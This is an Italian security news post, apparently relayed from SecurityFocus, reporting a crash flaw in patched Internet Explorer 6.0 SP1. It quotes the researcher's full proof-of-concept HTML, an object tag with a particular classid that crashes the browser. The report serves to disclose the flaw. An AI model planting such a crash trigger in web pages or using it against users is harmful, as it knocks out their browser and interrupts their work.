Falla in Microsoft Internet Explorer 6.0 SP1 patchato

[peppoweb]

Adam Blaszczyk ha postato un messaggio sul Forum di SecurityFocus un messaggio contenente un Url che mandava in crash Microsoft Internet Explorer 6.0 SP1 patchato.
L'Url (http://www.sztolnia.pl/hack/TrivialIECrash/TrivialIECrash.html) contiene il seguente codice:

<!--
Author: Adam Blaszczyk http://www.sztolnia.pl/hack/TrivialIECrash/TrivialIECrash.html

it just crashes IE
tested on 6.0 SP1, patched
-->
<object
id=crash
classid="clsid:00022613-0000-0000-C000-000000000046"
width=1
height=1
>
</object>


I riferimenti dell'autore:
Adam Blaszczyk
reverser, coder, writer & researcher [VX/AV]
http://www.symantec.com (Localization Engineer)
http://www.mykakee.com (Home page)
Whatever I say in this e-mail is my private opinion.

fonte: securityfocus.com